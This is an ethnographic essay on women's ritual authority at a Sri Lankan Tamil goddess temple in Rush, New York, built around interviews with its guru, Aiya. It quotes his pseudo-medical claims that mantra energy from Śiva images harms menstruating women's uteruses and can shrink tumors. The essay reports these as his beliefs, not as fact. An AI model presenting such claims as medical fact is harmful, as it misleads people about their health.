The Rush temple thus inhabits an interesting—and, for some, threatening—juncture of conformity and nonconformity within the diaspora context. Consistent with larger temple trends, it opens ritual opportunities for women and emphasizes the authenticity and power of orthopraxy. Yet it defies such trends when it mixes the two—when, in a context of ritual orthopraxy and purported authenticity, it insists upon central leadership roles for women. This is the temple juncture that, as described at this essay's outset, produces interesting ritual ironies. The temple's broad approach to religious authority and its emphasis on ritual power furthermore create a set of concerns for its participants that are slightly different from the concerns of other diaspora temples. Moreover, because of the predetermined devotional focus of the temple (which does not result from committee vote or community clout) and the eclectic makeup of its more dedicated members (many but certainly not all of whom are Sri Lankan Tamil), the usual diasporic preoccupations with ethnic, communal, and national identity formation widely reflected in North American temple practices do not coalesce as definitively at Rush (Williams 1992). The central concerns of Rush practitioners, honed through their focus on worship and training, are less entrenched in relationships with national, regional, or ethnic bodies than with—and no less consequently so—the bodies of temple deities and their powers. While the ritual ironies that affect women may be rooted in part in the community's explicit support for women's ritual participation, their flip side hinges on cosmic and theological conundrums that can be far more difficult to unravel.
Temple devotee performs _p ūjā_ to Rājarājeśwarī, July 2008. Photograph by the author.
Blazing Trails
I draw the following reflections upon women's access to ritual performance and power at the Śrī Rājarājeśwarī Pīṭham based on exposure to the temple over the past dozen or so years. Yet many of the finer points and quotes from Aiya on this topic are gleaned from conversations that took place between the two of us in early January 2006.3 My anecdotal point of departure, however, is a ritual event that occurred back in 1999 on a Sunday during Memorial Day weekend. This three-day holiday weekend in 1999 celebrated the first _prati ṣṭhā,_ or anniversary celebration, of the temple's consecration and installation of Rājarājeśwarī and her entourage in a renovated barn in Rush, just south of Rochester, New York. (Prior to the Rush barn, Aiya and his wife Amma's one-and-a-half car garage hosted Rājarājeśwarī, a number of other deities, and regular devotional activities.) At nine in the evening of the second day of the festival, wrapping up a day of elaborate _p ūjā_s, _homam_ fire rituals, _bhajan_ hymns, and _abhi ṣekam_ ( _abhi ṣeka)_ milk baths for the deities, Aiya announced in Tamil and English to the crowd of roughly four hundred that it was time for Devī's procession in her newly constructed _capparam_ chariot. This procession, he insisted, was to be conducted by women only. No men allowed. A murmur swept through the crowd while a group of women clamored to the gold-plated processional image of the goddess stationed on a small palanquin. To the cheers of "Aro Hara!" they hoisted the goddess's palanquin onto their shoulders and carried her to the waiting chariot. After the goddess was situated inside the _capparam,_ Aiya climbed in next to her and performed _ā rati_ to her with a camphor flame. Women of all ages, meanwhile, toppled over one another to grab a length of chariot rope before the procession began, bound first around the parking lot and then around the temple itself. Designated to lead the way were women carrying two blazing fire lamps and two large red and yellow decorations in the form of a sun and moon perched on top of poles. Bringing up the rear to keep the _capparam_ lights shining was a whining generator.
As is the case for most temple activities at Rush, this event was designed with cultural authenticity in mind. Members duplicated as best they could a processional atmosphere on Sri Lankan streets: families set up and decorated card tables that doubled as makeshift house fronts and stopping stations along the procession route; the parking lot itself became a village. At each family's station, traditional sweets such as rock sugar, raisins, and nuts were ready for distribution along with not-so-traditional gummy bears and Hershey's kisses. The most visibly nontraditional aspect of the procession, not only straying from Sri Lankan cultural norms but consciously so, was the exclusively female crew of chariot pullers, pushing and elbowing (the elderly women were the most aggressive) to claim a portion of the _capparam_ ropes.
Temple participant performs _abhi ṣekam_ during Śivarātri while others wait their turn, 2007. Photograph by the author.
For many women in the crowd, this was a first-time honor; the thrill of the moment was such that the initial enthusiastic pull of the chariot nearly toppled the entire structure, complete with guru and exquisitely decorated deity, onto the asphalt. The men, unable to assist physically, were helpless to do anything but anxiously shout directions—most commonly commands such as "Slowly! Slowly!"—as the chariot finally lurched along, negotiating obstacles such as speed bumps, tree limbs, and telephone wires along the way. As the women maneuvered the chariot's course, a number of men continued to yell commands that were, for the most part, drowned out by raucous female laughter and cheers of "Aro Hara!" Amid their laughter and frivolity, women discussed among themselves the best way to chart their course (the elderly women were the most insistent). Occasionally the women looked up to Aiya, seated next to Devī in the chariot behind them, who motioned with his hands to stop to refuel with sweets whenever they had arrived at a new station. An observer to the event might have concluded that the men, although certainly seen and heard, were—with the exception of Aiya—rather expendable to the procession process.
The Śrī Rājarājeśwarī Pīṭham's practice of allowing only women to carry palanquins and pull chariots, still rare in North America but not unique (Waghorne 1999, 124), seemingly leaves the men, ritually speaking, in the proverbial dust. The feature of the temple that distinguishes it from others—the extent to which women are encouraged to assume traditional ritual leadership roles—moreover appears to render even traditionally trained male Brahman priests expendable. Some temple priests have in fact expressed concerns to Aiya that the Rush temple threatens their livelihood, to which Aiya responds that priestly roles should have more to do with devotion and vocation than livelihood. Furthermore when Aiya, a non-Brahman, openly teaches the conventionally male Brahmanic Śrīvidyā path to women (as well as non-Brahman men), he challenges gender and caste privilege and entitlement—not to mention secrecy—carefully guarded by many in the Śrīvidyā tradition. For this he also receives occasional critique and rebuke. Closer to home, some traditionally oriented South Indian and Sri Lankan laypeople, while not necessarily feeling their livelihood or privilege threatened by Aiya's approach (although it is hard to tell for sure), simply believe that the Rush temple goes too far in its agenda of gender equity.
Within the range of women's involvement at the Rush temple, from less threatening chariot pullers to more threatening leaders of Vedic _homam_ fire rituals, an isolated ritual event that managed to test the boundaries of tolerance of even some regular temple members and supporters was a sacred thread ceremony, traditionally an exclusively male rite of initiation, that Aiya performed several years ago. The event was prompted by a thirtysomething New Jersey Brahman woman who approached Aiya and asked if he would perform the rite for her. As he blithely described it, people, including family members of the young woman, were disturbed by the conferring of the thread to a woman, "and [were] even more disturbed that there was a nutcase who would give it to her." In part Aiya validates this unusual event by noting historical (but long-ignored) precedent, particularly as documented through scripture and through ancient temple sculptures of women wearing the sacred thread.4 Regardless of precedent, Aiya's concession to perform the ceremony reflects his straightforward belief in the entitlement of women to full ritual participation. As he described it, "What can I do? If I say something and I believe in it, I have to practice it. It's not only theory. And so she came and asked me, 'Could you give me the thread?' and I said, 'Of course.' We had a full thread ceremony for her."
Although a woman's thread ceremony breaks with conventional gender restrictions, it nonetheless marks caste privilege, something against which Aiya also rebels. For this reason he does not, as a high-caste non-Brahman, wear a thread himself in spite of his guru's offer long ago to perform the ceremony for him. Noting this discrepancy that Aiya willingly performed the ceremony on a Brahman woman but not, in accordance with tradition, on Brahman boys, I jokingly asked if he would perform a thread ceremony for a clearly noncaste woman such as me. Again, in sync with his principles, he responded, "Yes, of course," adding, "but you can't selectively wear it when you go to the temple and then take it out and hang it on a nail when you go to a party. You have to wear it all the time."
Religious Rationales for Religious Transgressions
The above comment raises another foundational theme within the Rush temple ethos: rituals are not merely aesthetically rich play or meaningful metaphor. They are to be taken seriously, performed with orthoprax precision, and understood as essential for the temple's emanation of and reputation for divine energy in abundance. Instances in which women at the Rush temple perform _homam_ s and _p ūjā_s and, on rare occasions, receive the sacred thread are not simply for show or display of a feminist agenda. Conversely women's ritual leadership does not, for participants at Rush, minimize the value and power of the rituals they lead. Temple rituals function not only to confer divine blessings upon those within their purview; they also give religious credibility and authority to those who have mastered them.
The logic behind Aiya's insistence on the right of women to perform temple rituals—sometimes seemingly relegating men into the background—is multilayered. Fundamentally he considers the notion of menstrual pollution, a concept that traditionally diminishes a woman's ritual status even when she is not menstruating, to be an erroneous cultural imposition. He insists that there is nothing intrinsically polluting about menstruation and therefore nothing potentially damaging or harmful about interactions with women while they are menstruating. Reflecting this view is the fact that Aiya's daily interactions with menstruating women are no different than those with other women: he eats food they have cooked, sits in close proximity, and offers them blessings when approached. Nonetheless he does insist that women stay clear of the temple while menstruating. His rationale for this seemingly paradoxical, if not contradictory, stance is taken up later in this chapter. For now suffice it to say that it is based on a set of concerns that have nothing to do with pollution.
Aiya also thumbs his nose at traditional notions of widow inauspiciousness that can limit widows' activities. As a result he gives widowed _up āsikā_s (initiates) the same rights to perform temple _p ūjā_s and _homam_ fire rituals as he allows to married and single women. When a woman's husband dies, Aiya asks that she does not follow funerary tradition and remove the signs of her auspicious married status, such as the gold wedding _t āli_ around her neck or her red spot of _ku ṅkum_ on her forehead. He does not necessarily encourage the removal of these auspicious indicators outside the funeral context, either. Rather, as he described it, "I tell them, 'It's up to you. It's up to you if you want to conform to what society expects you to do. Because if society expects you to remove the _pottu,_ the _tilaka_ [forehead mark of an auspicious married woman], the flowers, and the earrings—all those things—you have to make up your mind. Do I want to do this after being widowed? I was married to a husband and I was married to him for life. Just because he has left halfway does not mean I am no longer able to wear the signs of married auspiciousness. And if you choose to keep them that is your choice.'" Statements such as this, in addition to being part of Aiya's crusade against widow inauspiciousness in general, accord with his theological belief that women are embodiments of the eternally auspicious goddess, unmanifest source of all divine feminine entities and energies. Nevertheless once widowed, women do often choose to remove their signs of married auspiciousness. In many cases they seem to do so in conformity with societal expectation, yet thrown into the mix is a personal need to mourn a husband's death.
Aiya garners support for his unconventional approach from ancient art, legend, and scripture, as well as from the encouragement of his own maverick guru, who he calls "Guruji" and who lives in Andhra Pradesh. One of the narratives he relates to demonstrate the historical access of women to the temple sanctum—something he suggests religious authorities have subsequently and conveniently ignored—is from a ninth-century legend featuring one of the sixty-three Tamil Nāyanār saints, Kungiliya Kalāya Nāyanār, found in the Periya Purāṅam. This legend, featuring Kungiliya Kalāya's extreme selfless devotion to Śiva and his consequent spiritual powers, includes a cameo appearance of a woman in a temple. Although the story traditionally focuses on the saint's powers and position, Aiya, in an exegetical move familiar to his storytelling style, adjusts the lens such that the nameless woman in the supporting role becomes the focus of the tale.
The story begins with the exploits of Kungiliya Kalāya, whose single-minded devotion to Lord Śiva is such that he, against common sense, spends all his money honoring Śiva in his village temple by burning incense. When he burns his last bit of worth, exchanging his wife's final piece of gold jewelry for yet more bags of incense, Śiva miraculously blesses Kungiliya Kalāya with material abundance. Thus begins Kungiliya Kalāya's reputation as a powerful Śiva _bhakta_ (devotee). The nameless woman enters the story in the following scene, as described by Aiya:
Two towns away, there's a big Śiva temple. A lady goes to the temple and exactly as it is enjoined in the scripture, she bathes in the tank and, with wet clothes, she goes into the temple, carrying a garland, with a cloth tied around her. [ _Aiya mimes tying a cloth around his upper chest, under his armpits._ ] And she goes and she tries to garland the Śiva _lingam_ [ _li ṅga_].5 And the cloth slips. So out of modesty she holds the cloth with her arms. [ _Aiya flaps his elbows down to his side._ ] And she's struggling to put the garland on the _lingam._ [ _Elbows at his sides, Aiya shows how her reach becomes limited._ ] And Śiva, the all-knowing, takes the _lingam_ like this [ _Aiya uses his arm to demonstrate the_ lingam _leaning at an angle_ ] and accepts the garland. And the Śiva _lingam_ stays that way.
At this point, thinking that Aiya was finished, I laughed with delight and thanked him for the great story. Not quite done spinning out his point, he patiently responded, "Now. I'll complete the story and come back to the point." So he continued:
So, the story gets around, the king's soldiers come, and they try to straighten the thing. Nothing doing. They go to the king and the king comes and says, "Oh my God, this has happened!" and he ties his royal elephant to it and they try to straighten the thing up. Kungiliya Kalāya Nāyanār hears about this. And he goes there and with the garland that he's wearing, he puts it on the Śiva _lingam_ and says, "Om nama Śivaya," and the thing comes up. [ _Aiya demonstrates with his arm the_ lingam _returning to an upright position._ ] Then he's become even more powerful.
Now the sideline to this story is this lady, the very fact that she went to the Śiva _lingam_ —the Śiva _lingam_ always, in a Śiva temple, is in the sanctum. Okay? And she was allowed to garland it. To garland you have to go really close. That means women had access.
Suspecting that Aiya's elaboration on the narrative was not a common one, I interjected that surely this was not a point most people took away from this story. "That is not the point. But I always make sure that I tell people this. She had access there and somewhere along the line these fellows changed it. Now, they might give the explanation, 'Oh, that Śiva _lingam_ was not inside the sanctum. It was outside.' Bull."
Amid his use of historical precedent and his disdain for traditional notions of female impurity and inauspiciousness, Aiya's most commonly expressed rationale not only for encouraging women to assume ritual leadership roles but also for their privileged position in this regard has to do with Śrī Rājarājeśwarī Pīṭham's nature as a goddess temple. Aiya argues that no one could more appropriately honor the Mother than a human mother, actual or potential: "I will not shy away from doing rituals in Sanskrit just because they're being done by women. In my mind, they have equal rights. In the worship of the divine Mother, they have even a greater right to worship her, because they are the ones who are the mothers. So I think that they are more primed for it than the men who are doing the _p ūjā,_ who are doing the rituals."
Female Presence, Power, and Balance
Not surprisingly a high percentage of participants at Śrī Rājarājeśwarī Pīṭham—from casual visitors to serious initiates—are women. Men from the Sri Lankan Tamil community, it seems, often get dragged along to the temple behind their much more enthusiastic wives. Aiya described the typical scenario: upon arriving at the temple, the woman, excited to participate in temple activities, goes immediately inside, while "the husband is left standing outside enjoying his cigarette. Eventually he will hear the commotion inside with the bells and the chanting and the [conch] shells. He'll hear this and then [ _Aiya mimes the man throwing down his cigarette and smashing it with his foot_ ] he'll come inside to see what's going on." This way, as Aiya sees it, men get reeled, often unwittingly, into the temple atmosphere. He recently estimated that a large proportion of his _up āsaka_ students who have reached the highest stage of spiritual advancement, around 75 percent, are women ( _up āsikā_s). He believes this imbalance is due in part to contemporary cultural expectations—both in North America and in South Asia—in which men are hesitant to involve themselves fully in religious practices. "It's a macho thing—because they think that they will be laughed at by their peers. Women don't have such a hesitation to go into these things; they are not afraid to express this. So most of them tend to be women."
The crowning layer to this seemingly ubiquitous female presence and spirit at the Rush temple is its focus on female divinity, most visibly in the form of the Śrī Rājarājeśwarī _m ūrti,_ stationed front and center, exquisitely carved from black granite.6 Yet in accordance with temple and Śrīvidyā convention, the goddess resides in other forms, as well. The _ś ricākra yantra,_ composed of forty-four interlocking triangles and stationed beneath the Śrī Rājarājeśwarī _m ūrti,_ is understood to represent and emanate the goddess's power when charged with the fifteen- or sixteen-syllable Śrīvidyā mantra (see Khanna 1979, 44, 70). The mantra itself is considered to be the goddess's body in subtle form. The goddess's power, fueled by the mantra, emanates from the _yantra_ into the _m ūrti_ and into the temple atmosphere. As a result, as Aiya likes to say of the main Rājarājeśwarī _m ūrti_ who receives _p ūjā_ offerings three times a day, "she is pulsating with life." Another subtle form of the goddess, present at the temple at least once a week, is the _homam_ fire into which devotees regularly offer fine saris and female accoutrements.
True to the temple's Tantric tradition, however, Aiya insists that the goddess does not and cannot stand alone. Male and female properties are vitally and inextricably linked. Douglas Brooks, in his account of Śrīvidyā in South India, likewise notes that the great goddess central to the tradition emerges as independent yet never completely severed from her male consort, Śiva. The female Absolute thus becomes a dyadic divinity composed of masculine and feminine complements (Brooks 1992, 60–61). One tangible representation of this dyadic female structure is the ś _ric ākra yantra,_ which contains five downward-pointing triangles at its center representing female divinity and four upward-pointing triangles representing male divinity. Likewise the _homam_ fire is a blend of male and female principles. As Aiya described it to me, "You can't separate the fire from the heat. The fire is Śiva; the heat is Devī [Śiva's consort]. It's one cohesive unit." Reflecting on the vital nature of male and female complementary energies, Aiya continued, "And history is replete with figures, great historical figures, who have tried the single approach and have failed. And gotten into real trouble—spiritual trouble." To illustrate his point, he recounted the Adiyātma Rāmāyaṅa, popular in Kerala, in which Rāmā represents Devī and Sita represents Śiva. This version depicts Rāvana, a great Śiva _bhakta,_ as making the lethal mistake of trying to separate Sita from Rāmā, Śiva from Devī. As Aiya described it, "He wanted Śiva to accept him completely. And Śiva was not about to do that without the Devī. If he had worshiped Śakti [the goddess] as well, then the story would have been changed. Nobody would have been able to defeat him."
During our conversation Aiya also compared the crucial balance of feminine and masculine properties in female divinity to the necessary balance of estrogen and testosterone found in human women: "Just like in a woman, the feminine energies are greater because of the hormonal structure. It does not mean that the woman's body does not contain testosterone. It is reduced. If it dominates, then she will become masculine." Likewise, although feminine energy dominates in the Rush temple, male energy is essential to its ritual efficacy. The same would be true in reverse for temples dedicated to male deities. The one exception of which Aiya is aware is the Śiva temple in Honolulu, exclusively dedicated to Śiva. Aiya chalks up its neglect of the goddess's power to diaspora unawareness. As he put it, "What I do, the Hawaiians don't do. They're not really Hindu, and I don't think they're Śaivite because Śaivism, in the land of its birth, not in America, not in the Hawaiian islands, in the land of its birth, it has always accepted Devī as the power of Śiva."
The Quandary of Male Presence and Power
The most tangibly apparent way in which the Rush temple accounts for its requisite portion of male divinity is through its installation of numerous male Śaiva deities, such as Ganeśa, Murukaṉ, Bhairava, and, most important and prominent, Śiva. Visible male energy, in other words, is not in short supply at Śrī Rājarājeśwarī Pīṭham. Furthermore, unlike the din of men's instructions during the female-driven _prati ṣṭhā_ procession described above, this energy cannot so easily be ignored. A context in which women in particular are advised not to underestimate the presence and consequences of divine male energy, particularly Śiva's energy, has to do with the menstrual cycle.
In spite of the unconventional and overwhelmingly privileged place women enjoy at the Śrī Rājarājeśwarī Pīṭham, a traditional restriction that Aiya stands by is one in which women, as a rule, are requested not to enter the temple during the first three days of their period. This traditional mandate might seem to present not simply an inconvenience for many female practitioners but also, in a setting where women regularly assume ritual entitlement and authority, a frustrating irony or worse. As mentioned above, mitigating the contradiction—although not its consequence—is that Aiya does not adhere to notions of female impurity typically associated with menstrual taboos.7 His reasoning for retaining the restriction has nothing to do with the potential of women's menstrual pollution harming temple rituals; rather he turns convention on its head and insists that temple rituals have the potential to harm menstruating women.
This distinction is sometimes lost on the women of the Rush temple. In 1998 I was present with my tape recorder when the subject of menstrual taboos was broached by a female temple devotee on break from graduate school at UCLA. At the time the barn temple was less than a year old. Yet Aiya's response made clear that hers was already a ubiquitous question, asked by women devotees who felt the pinch of what seemed to them a fundamental contradiction between temple teachings and practices. Aiya began his explanation with the statement "That is a very good question, and I have answered it lately only about fifty times." He obligingly went on to explain again the risks of ritual power on menstruating women, using scientific and medical terminology to fill out his argument:8
At that time [of the month], Amma, the uterus will expel blood. Right? Okay? And all the blood vessels that have formed during that twenty-eight-day period get expelled along with the blood and everything. For those three or four days, the top layer of the uterus is raw. It's in a very tender state. Especially if you have Śiva _m ūrti_s inside the temple like a Śiva _lingam,_ like a Bhairava, right? The mantras that are absorbed by those are in the alpha to gamma range. So when you walk into the temple, even without doing the _p ūjā,_ these things are continuously being emitted from them. They are harmful to you.... They can go down to the cellular structure and can cause problems around the mitochondria, in the cells in that region. And then scar tissue in that area will start. Later on you might have endometriosis, prolapse, all these problems will be there. It'll also affect the mesenteries that suspend the uterus.
When Aiya finished his explanation, I asked, just to make sure, "So what you're saying is that it's not about pollution." He continued by offering his assessment of how tradition gets derailed in the first place: "No, not at all. But that is exactly how you can convince the peasants: 'Now, don't go in there, you'll pollute the temple.' So they'll be careful. You see how these things have come about? And then some fellow will take it into his head and write it down and say, in Sanskrit couplets, 'Okay, if you go at this time, this will be polluting.' And then all the other pandits will now keep chanting that and say, 'Oh, see, it is written.'"
During our more recent discussion of temple powers and their potentially harmful effects, I asked if Aiya knew of any instances in which divine female emanations were particularly detrimental to men. He could think of none. Female energy, in his experience, was harmful only when in highly concentrated form and therefore produced levels of power beyond the limits of human tolerance, male or female—particularly during this degenerate era, often referred to within the Hindu context as the Kali _yuga._ Furthermore, unlike male divine power, female divine power, in his experience, is never intrinsically harmful to devotees. Even potentially ferocious Kālī, as far as he is concerned, is like a gentle mother in the company of those who take refuge in her. Reflecting on this point, Aiya noted an analogous phenomenon in human nature: "If you look at a man and a woman faced with a situation, before the woman will respond, the man will pick up a sword and cut someone. Look at the world situation. [This was in 2006.] We've chosen one person to lead us. If there had been a woman at the helm at this time—Condoleezza Rice excepted—they [ _sic_ ] wouldn't have walked into.... They wouldn't have thought of violence straightaway. They'd try other options." After reflecting in silence for a few moments, Aiya admitted that his distinction between the nature of male and female power—straying slightly from the Śrīvidyā understanding of a benign great goddess who nonetheless harbors potential for harm—has likely been formed by his own life experiences.
But you know, maybe it's just the way I've been conditioned. At age twelve my dad was removed. From age one to twelve, I watched how the masculine figure behaved in the house. With his drinking and putting pressure on my mother, things like that. When he died, I was actually relieved—as a twelve year old. I think that I really was relieved and thought, "Here was this guy, and now he is not going to give any more problems to my mother, any more pressure." And the way that she brought me up: silent, yet fully supportive.... When I think of it, that is what is at the back of my mind when I approach the Devī as the Mother. Because I think she cannot be any different. So maybe in some kind of situations or in some other forms of the Devī—emanations—she can be harmful. But up to now she has not been for me.
Aiya confirms that the ambivalent nature of Śiva's power is not unique in and of itself. What, however, can we make of the double standard it seems to keep? Should devotees infer that Śiva—who as a male energy source cannot be dispensed with or ignored at the woman-centered Rush temple—is somehow antiwoman? Joining Aiya and me in our discussion of these matters was Saru, Aiya's daughter in her late twenties. Understandably bothered by the implied course of our conversation, she came to Śiva's defense, noting that the energy from the Śiva _lingam_ is not harmful to menstruating women who have kept their practice up to a certain level. She suggested that potential harm is therefore not Śiva's fault; it is the woman's fault for falling short in her devotion. While this is important to consider, a problem nonetheless remains: while Śiva's energy is understood to harm women who lack proper devotion, he appears to leave impious men alone.
Vindicating Śiva
This seemingly negative impact of Śiva's powers on women becomes mitigated if not reconciled when we step away from the view cast by temple energy dynamics and consider him instead from his narrative and devotional perspectives. As legend and temple tradition often have it, Śiva preserves a special place in his heart not only for women but also, more concisely, for the particular needs and concerns of women. According to temple traditions found across India, the same Śiva _lingam_ that causes trouble for some women's reproductive systems under certain circumstances contains the capacity to confer fertility. Driving home his point that Śiva not only accommodates women's concerns but also disregards traditional notions of purity and pollution, Aiya related to me a story from Madurai. Briefly put, this locally circulated tale describes a woman who goes into labor with no one to help her, as her mother at that moment is stranded on the other side of a monsoon-swollen river. Śiva, in his compassion, appears in the form of the laboring woman's mother and performs for her the duties of a midwife—duties that are traditionally considered highly polluting because of their inevitable involvement with blood and other bodily fluids. When the real mother eventually returns home and finds a baby in her daughter's arms, her divine double has disappeared without a trace.
Another instance that, for Aiya, demonstrates Śiva's accommodation to womanly concerns is found in the tale already related above, in which the woman in the temple struggles to garland the Śiva _lingam._ In his telling of the Tamil Nāyanār story, Aiya adjusts the narrative to demonstrate the historical access of women to the temple sanctum. One could also emphasize the _lingam_ 's sideways lean as Śiva's miraculous invitation to a woman he deems worthy of worshiping him—a gesture that, at the same time, graciously allows her to uphold her feminine modesty and dignity.
Saru's concern that we not represent Śiva as antiwoman is thus somewhat mitigated through narrative and tradition, yet the problem of the sometimes-harmful effects of Śiva's temple energies on women remains. It seems as though Aiya's answer to the conundrum was not to dismantle it for the sake of gender equity but to view it from the perspective of the complexities of power. "Even the male power that comes out of the _lingam_ in carefully controlled measured conditions—it can be used to energize healing. You can shrink alpha waves into it and then shrink tumors. But if it is just into tissue, it can cause trouble." When I suggested that Śiva—who seemingly advocates for women's particular concerns as well as posing potential harm to the same—could therefore be your friend or your adversary, Aiya responded, laughingly, "Of course. Electricity can be your friend or fry you. You can do anything you want with it or you can put it in water and electrocute a whole lot of people!"
Conclusion: Untangling Ritual Ironies?
During our string of discussions on this topic, it seemed that Saru and I kept hoping to stumble upon resolutions to the two ritual ironies facing us, a hopefulness in which Aiya seemed much less invested. The first irony, having to do with the temple's nonconventional policy that encourages women to enjoy full ritual participation while, more true to convention, their participation is curtailed once a month, was not something Aiya felt a need to deconstruct or "correct." Since he bases his views about woman's nonparticipation on "scientific" understandings of divine power generated during ritual performances—rather than, as he sees it, erroneous cultural (and textual) superimpositions about menstrual pollution—he makes no apologies for his position and, in the end, sees no contradiction in need of unraveling. That his policy of women's limited ritual participation amid full priestly leadership comes at some cost, drawing women who revel in ritual responsibilities and angering and alienating some of the same along the way, does not appear to weaken his resolve or incite his need to "fix" the apparent irony.
The second troubling irony, encased in the first, has to do with the nature of divine power, in particular Śiva's power, that can in certain ritual contexts harm women for whom, as narrative tradition attests, he displays a particular fondness. While Aiya is interested in considering Śiva from a variety of angles and in deepening the complexities of the deity's image and powers, he makes little effort to resolve the deity's mixed messages. Unlike Saru and me, Aiya seems more comfortable, in general, with gendered ritual conundrums and possible incriminations against beloved male divinities. He makes no attempt to assuage or explain away, for the sake of the two women sitting with him, the sting of contradictions or the problem of Śiva's questionable behavior. Thankfully—as far as I am concerned—he does not try to rationalize all things in an attempt to appeal to audience expectation.
Rather than following Aiya's lead, however, I close by offering partial resolutions to the quandaries embedded in the performance and power of Rush temple rituals. I respond first to the twists and turns of interlocking ironies by superimposing a theological framework, and I finish by reflecting on the practicalities— if not inevitabilities—of ritual selectivity. My aim is modestly to suggest ways to make sense of these gendered conundrums from the inside out and, as such, partially explain how they manage to live on, relatively unchallenged, in an environment full of outspoken and religiously critical women.
A theological framework that could be used to address Rush's enduring ritual ironies emerges from the Śrīvidyā Tantric tradition upon which the temple is founded. In spite of Aiya's indebtedness to Śrīvidyā, he never offered this Tantric logic as a means for thinking our way out of seemingly entrenched conundrums. This is likely because it did not occur to him—perhaps because he was not straining, like Saru and I were, to solve the issues at hand.
Basically speaking, Śrīvidyā theology understands the divine foundation for the tradition, the great triple goddess Lalitā Tripurasundarī, as containing inextricable dualities of power in much the same way that Śiva does. In his analysis of Lalitā, Brooks notes how the goddess's power not only contains complementary opposites on a variety of levels but also does so necessarily. Her traces of violence, eroticism, and inauspiciousness are not realms that devotees normally emphasize or encounter (exemplified by Aiya's description of the all-loving, all-patient mother goddess), since she is for them primarily, if not entirely, benign, independent, and auspicious. But in principle devotees must assent to the existence of these negative complements in order for her positive power to be meaningful and complete in a world of dualities.
Lalitā's violence, like her asceticism and eroticism, is calculated and necessary to sustain order in the universe. Were Lalitā utterly benign, the forces of evil would prevail; were she not erotic, Śiva would create an imbalance through his ascetic _tapas;_ and were she not married and [made to] appear submissive to Śiva, she would not be able to project her full potential as the source of power; were she not the source of auspiciousness and inauspiciousness, the world of complementary opposites would cease to be of interest. Lalitā not only balances and counters Śiva, but demonstrates how Śiva is ultimately dependent on her. (Brooks 1992, 67)
Following this Śrīvidyā line of reasoning in which complementary opposites confer positive power and meaning on female divinity, the conundrum of women's ritual vulnerability and authority seems to unravel—or, more accurately, emerges with its own parallel logic. One could argue that, like the Śrīvidyā goddess's power for her devotees, Śiva's capacity for benevolent power sustains its fullest depth and meaning when it is part of a polarity that includes potential ritual danger—a polarity that, as we have seen, is operative more for women at the Rush temple than for men. Thus when reconsidering the 1999 _prati ṣṭhā_ procession that began this essay, it is perhaps significant that the men thought they were running the show, yelling commands to a raucous, half-listening band of women. Within the context of insistent male ritual leadership, women's lighthearted initiative seems all the more meaningful. Likewise when women at the Rush temple more directly assume priestly leadership roles during rituals, against the grain of domestic and diasporic Hindu trends, the fact that they occasionally ruffle the feathers of orthodox privilege and entitlement deepens the impact of their position.
In a temple setting that promotes and celebrates women's ritual authority and spiritual advancement, the fact that women—not men—are potentially vulnerable to harmful ritual energies, particularly male energies, is indeed ironic. Yet when framed by Śrīvidyā, one side of the equation is impossible without the other: positive ritual power—whether in the form of human priestly authority or divine efficacy—cannot be realized fully without acknowledging at least the possibility of its (albeit unbalanced in this case) opposite.
Since I have never heard this theological perspective consciously promoted or even raised at the Rush temple, I suspect it might be helpful to select devotees only as an undercurrent at best. Viewed from a more direct and practical angle, a nontheological solution to temple ironies seems to arise from Aiya's charismatic, largely feminist-inspired leadership. Whether or not women buy into his scientifically worded theories about harmful male energies, periodic exclusion from the temple is a trade-off that many are willing to make in order to reap its benefits. Contributing to this willingness to comply with temple restrictions is the fact that Aiya's rationale for menstrual exclusion is not informed by ideologies of purity and pollution that are intrinsically demeaning to women. This rejection of negative associations likely helps women overlook the compromises they must make in order to uphold ritual involvement and authority.
This phenomenon of women's ritual selectivity recalls observations made by Madhu Kishwar about inconsistencies inherent in women's devotion to their favorite male deity. Kishwar notes that in domestic ritual settings, women portray Śiva in ways that seem to disregard Purāṅic depictions of him as "the least domesticated and the most rebellious of all the gods, one whose appearance and adventures border on the weird" (2000, 247). As she puts it, "Hindu women have selectively domesticated him for their purpose, emphasizing his devotion to Sati/Parvati, as well as the fact that he allowed his spouse an important role in influencing his decisions. At the same time, these women conveniently overlook the many very prominent and contradictory aspects of his life and deeds" (ibid.).
This propensity to overlook Śiva's undesirable behavior allows women to honor and invoke a beloved male deity as well as a divine marital relationship that is unequivocally joyful, passionate, and equitable—qualities that, given ritual efficacy, flow into the human realm as well. Ritual selectivity, also perhaps at play for female leadership at Rush, is certainly not unique to women or to Hindu traditions. As Aiya argues throughout this essay, selective recollections of women's religious capacities are what enable patriarchal traditions to flourish. Reversing this pattern, Aiya endeavors to restore memory at Rush in order that women regain their rightful place. Whether participants believe that women's rightful place is fully or partially regained at the Rush temple and whether compromises are recognized and considered worth the cost will, of course, depend on individual interpretations of and faith in divine efficacy and guru leadership.
Granted that all religious performance is interpretative and therefore selective, the question that remains is the extent to which ritual selectivity and its emergent ironies weigh heavily, lightly, or not at all on practitioners. It is a question, in turn, about whom—divine and/or human, male and/or female—is calling the shots and why.
**Notes**
1. For instance the Rush temple is not, like most U.S. diaspora temples, a community organization established by a temple trust and run by a temple board (Waghorne 1999, 119); the deities that reside there are not a result of committee vote or heated debate (Narayanan 1992, 175); and it does not boast what Joanne Waghorne has referred to as the "new American Hindu pantheon" (1999, 118) that celebrates a range of sectarian and regional traditions aimed at supporting—and garnering support from—the largest swatch of the local South Asian diaspora possible. See also Leonard 1997, 112, and Eck 2001, 84–85. The Rush temple unabashedly and exclusively represents the Śaiva-Śakta tradition, worships in Sri Lankan Tamil style, and is established and run by a charismatic guru figure, Sri Chaitanyananda, known as Aiya by his students. Although a trust fund and active temple board exists, Aiya is at the helm, taking advice yet unquestionably steering the course of the temple.
2. This essay uses the transliteration of the South Indian/Sri Lankan Tamil lexicon for ritual activities and ritual paraphernalia favored at Rush. The North Indian/Sanskrit forms, used elsewhere in this volume, are placed in parentheses on first occurrence. Aiya's proper name (see note 1 above) appears without diacritical marks as is his preference.
3. During my visit in January 2006 I geared many of my questions to Aiya with this essay in mind. Beginning in the summer of 1998 until 2002, I conducted numerous formal taped interviews at Rush. See Dempsey 2006 for the product of that earlier research.
4. The Ṛg Veda (10.109.4), Yama Smrṭi, Hārita Smrṭi, and Paraskar Grihya Sūtra include references to women wearing the sacred thread dating from ancient times up through the first several centuries in the Common Era (Manjul 2002).
5. This is the aniconic, often pillar-shaped, stone form in which Śiva is most typically worshiped in a temple.
6. The story behind the Rush temple's main _m ūrti,_ chiseled from granite by a temple artist in Andhra Pradesh and initially installed in an ashram in the Pocono Mountains, is recounted in Dempsey 2006, 50–56.
